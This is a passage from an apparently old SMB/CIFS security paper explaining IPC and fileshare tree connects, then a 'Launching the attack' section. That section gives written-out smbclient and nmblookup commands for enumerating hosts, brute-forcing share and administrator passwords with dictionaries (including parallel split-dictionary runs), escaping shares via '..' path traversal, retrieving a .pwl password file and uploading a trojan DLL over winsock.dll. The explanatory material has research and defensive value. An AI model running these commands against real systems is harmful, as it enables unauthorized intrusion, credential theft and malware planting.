Phase 4: IPC Tree connect

Now that we are logged in, we can begin exploring what resources the target has to offer. A "tree connect" traditionally implies a directory tree in a filesystem, but in SMB there is special type of shared resource referred to as a named pipe or IPC -- familiar terms to Unix people. Tree connect is sometimes also called StartConnection or TCon. A tree connect is performed to access any resource, be it a filesystem, a printer, or a named pipe. Pipes provide a means for exchanging "API calls" of various types between client and server, and besides mentioning a couple of specific API types this document does not cover them in any further detail. Besides, according to CIFS the newer [and Microsoft-originated, rather than third-party?] RPC facility is the recommended interface for such things, implying that the named-pipe API may eventually be phased out. Nonetheless the current interface to get information about the server is still a named-pipe transaction, so in this case we need to do an IPC tree connect to obtain the server's "share list" and discover what *other* things we can connect to.

There is a field in this SMB for a password, which is used if needed for accessing filesystems on share-level servers. The IPC tree connect we need here should not require a password, but there may be odd cases or other types that do. The other fields contain the service type and name which in this specific case are the two strings "IPC" and "\\SERVER\IPC$". There is an AndX form of this SMB so more requests can be chained onto it -- often used for quick one-off requests such as getting share lists. Sometimes the tree connect itself is tacked on to the SMB session setup as the AndX request. In general if a given phase doesn't appear by itself in a packet dump, check for an AndX in the previous request. For example, session setup returning with a nonzero TID probably resulted from sending the setup and TCon as one big SMB.

The Microsoft "net view \\servername" command should show the share-list of the target, EXCEPT for any "hidden" sharenames that end with "$" per the stupid client-side design. [This is described below.] If no existing TCP session is established yet, "net view" will behind the scenes go through all the SMB steps needed to get to this point. We can usually see any and all shares with smbclient, where we specify "-L servername" to list them and some other info such as browse lists of neighboring machines. These lists are all gotten via API transactions of various sorts with the well-known standard "\PIPE\LANMAN" service -- possibly because LANMAN 1 was the first dialect to support named pipes at all. This a black box in the scope of this document but suffice to say it involves wacky strings like "WrLehDO" and "B16BBDz" plugged into SMB "Trans" requests. Some but not nearly all of this is documented in CIFS.

A successful tree connect response fills in a two-byte SMB header field called the tree-ID or TID. This is another arbitrary cookie that the client must send back in with any subsequent interactions with the resource in question. A client can have more than one active TID at a time. Once the IPC TID is established, I/O to the named pipe can begin. After any successful TCon, the TCP connection should remain open even if there is no subsequent SMB activity for a while. CIFS states that correct server behavior is that it should only time out truly inactive client connections, where "inactive" is apparently defined as having no current tree connections and not sending any SMB requests, but most servers seem to eventually knock down connections with or without active TIDs anyway.

Errors here are many and varied, and again interpret_error helps us figure out what is going on. In user-level security "access denied" means that the tree connect was attempted without the necessary prior authentication from SessionSetupAndX, and in share-level may simply mean the wrong share password was given. "Bad password" is more common in the latter case. Another common error is "invalid network name" from an attempt to connect to some resource that the server doesn't have. Samba issues server-class "access denied" if its IP-level allow/deny configuration disallows a service TCon. For the most part if any errors other than those just described are returned from an IPC TCon, we are probably in a fairly hopeless state and should start over.

Some old clients cannot do user-level security, so the CIFS spec optionally allows for backward compatibility by having the server assume that the calling name of a client machine is also the username for session setup purposes. If the caller name maps to a known username and that user's correct password is supplied as a share password in a TCon, an implicit user login is performed and SetupAndX can be skipped. NT and possibly other user-level Microsoft servers don't seem to comply with this, handing back "bad UID" errors for other SMB requests until a real session setup is completed. Samba supports it by building an internal concept of the "potential user" of a given connection and checking if various names and SMB parameters from previous phases are valid usernames and passwords. This does not necessarily imply protocol weakness or that SetupAndX should be skipped if possible -- Samba does most of its logging at TCon time, for example. Besides, changing the attempted username in this scenario requires a new client connection with a different caller name. Generally if a server specifies user-level security then any brute-force attack should be performed at the setup phase.

Some servers deny certain kinds of API calls based on the rights of the user login; in particular, giving NT both a null username *and* password allows a session setup but is recorded [if at all] as an "anonymous" login rather than GUEST, and seems to deny viewing the share list and server info but allow viewing the browse list. This is likely intentional, since clients need to make such periodic quick connections to master browsers to collect more "network neighborhood" info. [See Samba's "nmbsync" utility for an example.] To clarify somewhat, a *share* list is equivalent to the exported filesystems on the target server, and a *browse* list contains names of neighboring computers. This can easily be confused, especially where smbclient's routine to list server shares is still called browse_host! Again, a server with a browse list often can be address-queried for each of the listed names to find more targets. If we can dump the share list, this informs us what filesystem shares we might be able to start fooling with in the next phase.

Phase 5: Fileshare tree connect

This is the same as any other tree connect except that the service type becomes "A:" to mean "disk" [go figure...] and we connect to "\\SERVER\FOO" where FOO is the sharename. Fileshares generally begin at a subdirectory somewhere in the local disk, and their names are usually unrelated to the subdirectory path. Sharenames are chosen by human administrators, which along with the optional comment fields visible in the share list might at least hint at what they encompass. A mounted share makes the subdirectory and everything from there downward visible to a client across the network.

This phase is reached via successful completion of the client commands most familiar to users. Usernames and passwords from dialogs or command-line arguments are supplied where needed. Doing "Net use * \\SERVER\SHARE" makes a Microsoft client try contacting SERVER, mount the named SHARE, and assign the next free drive letter to it. "Smbclient \\\\SERVER\\SHARE" with optional arguments is roughly equivalent, although the mount is only per-process and is disconnected when smbclient exits.

A new TID is returned on success, which thereafter must appear in every SMB header that refers to this mount. Almost all servers implement a distinction between read-only access to a fileshare and read-write. WFWG and other share-level servers often provide for two possible passwords, one of which allows writing to the share. User-level servers usually ignore any supplied TCon password and presumably assign access rights based on the connecting user. NT of course has its slew of user privileges and ACLs on files and directories -- the much-ballyhooed holdovers from VMS. Samba primarily relies on Unix file permissions, madly swapping its effective unix UID around to match that of corresponding SMB user session before trying to access files. Samba also imposes several restrictions on "guest" sessions, such as not being able to write anything. There doesn't seem to be any clean way of determining a remote session's access rights other than trying to perform various operations. Retrieving a directory or file obviously indicates successful read access, and a simple low-impact way to check for write access is to try creating and then deleting a new directory. At first this all sounds reasonably secure if the surrounding UID and TID checking is sound, but there are still a few problems with the fundamental design.

Most of the possible errors from this step have already been mentioned. "Access denied" or "bad password" mean the obvious in user or share level security modes; NT sends the former if a regular user tries to connect to any of the special C$ or ADMIN$ type of shares described below. Share-level servers usually allow unlimited guesses at share passwords, and deliberate delays for incorrect passwords are almost unheard of here. Thus they are not only open to the same types of brute-force attacks over the network, such attacks can proceed almost at the speed of the intervening wire. If the guesses come in too fast some servers can't handle it and just belly-up -- WFWG is one example -- and it is often necessary to throttle back the guessing rate just to get all the way through a dictionary.

Microsoft clients seem to treat any resource name ending with "$" as "hidden" and it is even documented that while such fileshare names won't show up during browsing, they are available to someone who "knows the name." In most cases smbclient will gladly show us all the hidden shares on a server regardless, since once again any such concealment is up to the client side. Interestingly, "IPC$" also falls into this class. NT almost always sets up a predefined set of hidden administrative "default" shares, named "C$" for the whole C drive, "D$" for the whole D drive if present, and "ADMIN$" or perhaps "WINNT$" pointing into the top of the system directory. While visible via smbclient, TCons to them by anything other than an administrator login are generally denied but are always worth trying anyway. As mentioned in several NT security texts these sharenames are automatically set up at every reboot, making it likely that a cracked administrator password gives carte blanche access to the entire machine.

Once a fileshare tree connection has been made, normal network-filesystem I/O is possible using more SMBs to read and write files, search directories, get and set attributes, do exclusive locks, or whatever. This is why SMBs can be large -- for efficiency, since data read or written occupies the buffer portion of the blocks. As in NFS, there is no concept of the current directory except in the client, which must construct and send a full pathname along with the right TID for every file reference. Despite the spec stating that having any active tree connect should disable server timeouts, most clients periodically send some kind of null SMB to keep things warm -- either a SMB echo or, in the case of Samba, a status check of the root directory. The opposite of TCon is an SMB called Tree Disconnect or TDis, which tears down an existing TCon and invalidates the TID. The transport connection remains open for some time afterward, during which other SMBs including a new TCon can be issued. Multiple tree connects can be currently active, such as an open fileshare or two and a quick IPC to get an updated browse list or something.

The ability to make several arbitrary fileshare tree connects has an interesting side effect against Samba servers, which commonly make user home directories available as the special [HOMES] share. Where this share points to changes dynamically if it matches an existing Unix user, and by default the username to authenticate against is taken from the sharename unless a different one is specified, say with "smbclient -U". Thus a TCon to "\\servername\user" makes just the user's home directory and downward visible. However, under many Samba configurations a TCon to the name of some account whose home directory is "/" allows the client to view the server's entire filesystem. Therefore one can user-level authenticate as "joe" but then TCon to "root" or "bin" and explore the whole machine, albeit only as joe's Unix UID. This also works against a share-level Samba, since we can either perform user-level setup regardless or use the "implied user" client-name feature and ask for the different user's sharename. A potentially worse side effect is that a TCon to the "sharename" of a user that does not exist returns "network name not found", while connecting to one that *does* exist either works or returns "access denied" depending on whether the client is in as a real user or a guest. Regardless of TCon success or failure, the extant ones also start getting added to the visible share list for that client connection! This allows a client to scan for valid usernames even if only logged in as a guest, albeit at the risk of being extensively logged. A bunch of blind TCon attempts can be made and the Samba server conveniently collects the locally valid usernames into a viewable list.

Microsoft servers are not immune to such games either, since most Microsoft clients make a single TCP connection and rely on the UID and integrity of the network layer to keep user rights separated. Once a UID is valid across a given TCP session, it can be used to mount and mess with pretty much any other shares the server offers. The couple of known exceptions are the special NT admin shares and Samba's guest restrictions. As CIFS support is developed for other platforms, the same is likely to be true there too. Some new Unix variants already have an SMB network fileystem kernel driver. Unfortunately servers are required by the spec to place entirely too much trust in client machines. For example, a share mounted by one particular user tends to stick around unless specifically disconnected, and thus may be available to another user who logs in later even if the new user normally has no account or access rights on the *server*. A client could be compromised or network traffic spoofed to send requests with an altered UID. It is also not entirely clear how "isolated" the TCP connections really are from each other, suggesting that messing around with UID/TID combinations might turn up a few surprises. The server simply expects every client to behave itself.

This was really driven home by the discovery of the now well known "dotdot" bugs. Since most filename parsing and cleanup is left to the client, it was found that smbclient could send requests containing filenames of the form "..\..\CONFIG.SYS" to easily escape the confines of the share. Microsoft's official excuse for this was that Samba is an "illegal client" and shouldn't be used, but nonetheless released service packs with a couple of pathname enforcement bandaids slapped on to the server code. Samba itself didn't fall victim to this because its Unix-savvy implementors already knew long since to check for ".." and such in pathnames! Part of the patch kit short circuits dos_clean_name() to return without touching the given pathname, allowing us more freedom to send arbitrary file paths and explore bugs of this sort. This is not an automated test; one must play and examine some directories to figure out whether a bug is being tickled or not. A fairly reliable way to automate such a check is to examine the first entries in directory listings of "\" and "..\" and compare file attributes; if they are different then something is not quite right. There may be some other funky path formats that servers handle badly; earlier versions of NT would even crash when asked for various bogus pathnames. There are some SMB flags to indicate support for long filenames, which may confuse servers if changed in midstream or set under a dialect that isn't supposed to support them.

Launching the attack

The preceding explanation has not really detailed the specific real-world steps needed to implement an attack. Here we try and pull it all together. Parameters that will vary are represented {thus}.

The attack engine is built from Samba 1.9.15p8, using the instructions and patches given in Appendix B. You will also need some password dictionaries, which are available from numerous repositories. If you have read this far, it seems likely that you can handle this part.

Scan the target network for NetBIOS-aware hosts to build a list of hostnames and IP addresses, perhaps trying a status query to a couple of them to check for packet filtering. The rest of this summarizes probing an individual target, whose hostname or IP address is hereafter represented by {ip}. If a known scope ID is in use, add "-i {scopename}" to all nmblookup and smbclient commands.

Get the target's namelist, using the "*" status query and some type-0 name guesses if "*" doesn't work. Directed broadcast to x.y.z.255 may be useful in rare cases if one is able to receive all possible responses somehow; note also that the broadcast address may not be .255 for many subnets.

        nmblookup -B {ip} -S \*
        nmblookup -B {ip} -S {dns-name}
        nmblookup -B {ip} -S WORKGROUP#0
If a machine sporting the __MSBROWSE__ name is discovered, concentrate on that one since it potentially has a browse-list and information about its network neighbors. Plug the returned type-0x20 name in and get a share listing. Use an informative debug level, avoid using NT LM dialect, hide various client info, and try some standard usernames and any type-0x3 names observed along the way. Many targets will accept a null password, but if a real one is needed make some basic guesses such as the computername or username. The hacked client accepts passwords from standard input until it gets in, gets interrupted, or hits EOF.
        smbclient -L {TARGET} -I {ip} -d 3 -n " " -m LANMAN2 -U ADMINISTRATOR
        smbclient -L {TARGET} -I {ip} -d 3 -n " " -m LANMAN2 -U ""
For the hard cases, pick a username or sharename that is likely to exist, and level a common-password dictionary file at it. If you have not enabled the UPPERCASE option, arrange to uppercase the dictionary first since success is more likely. Debug level 0 makes it run silently until it gets in or exhausts the dictionary. To test for invalid password delays, use a higher debug level and manually observe the timing. A sudden speedup in access errors probably indicates account lockout and that further attempts on that account won't be useful for at least another half an hour or so.
        smbclient -L {TARGET} -I {ip} -d 0 -n " " -m LANMAN2 \
          -U BACKUP < dictfile
Try connecting to the shares on an accessible target, testing for read/write access, and exercising bugs.
        smbclient \\\\TARGET\\SNAME -n TRUSTME -m LANMAN2 -U JOEUSER -I {ip}
        smb: \> dir
        smb: \> md test
        smb: \> rd test
        smb: \> cd ..
        smb: \..\> dir
        smb: \..\> cd \..\..
        smb: \..\..\> dir
        smb: \..\..\> get config.sys -
        smb: \..\..\> cd windows
        smb: \..\..\windows\> get joeuser.pwl
        smb: \..\..\windows\> put trojan.dll winsock.dll
For the *really* hard cases that impose bad-password delays but allow many attempts such as NT administrator accounts, split up [and optionally convert to uppercase] a large dictionary and use the multi-connection hack. A convenient way to run it is inside "script", to record the details from any process that successfully logs in.
        script logfile
        set DOIT = "smbclient -L {TARGET} -I x.y.z.q -d 0 -n ' ' \
        $DOIT < splitdict.1 &
        $DOIT < splitdict.2 &
        $DOIT < splitdict.3 &
        $DOIT < splitdict.4 &
        ... etc, up to 10 or however many concurrent ones it can handle ...
Collect the results, write the report, submit the invoice...

(prev page - top - next page)

Log in or register to write something here or to contact authors.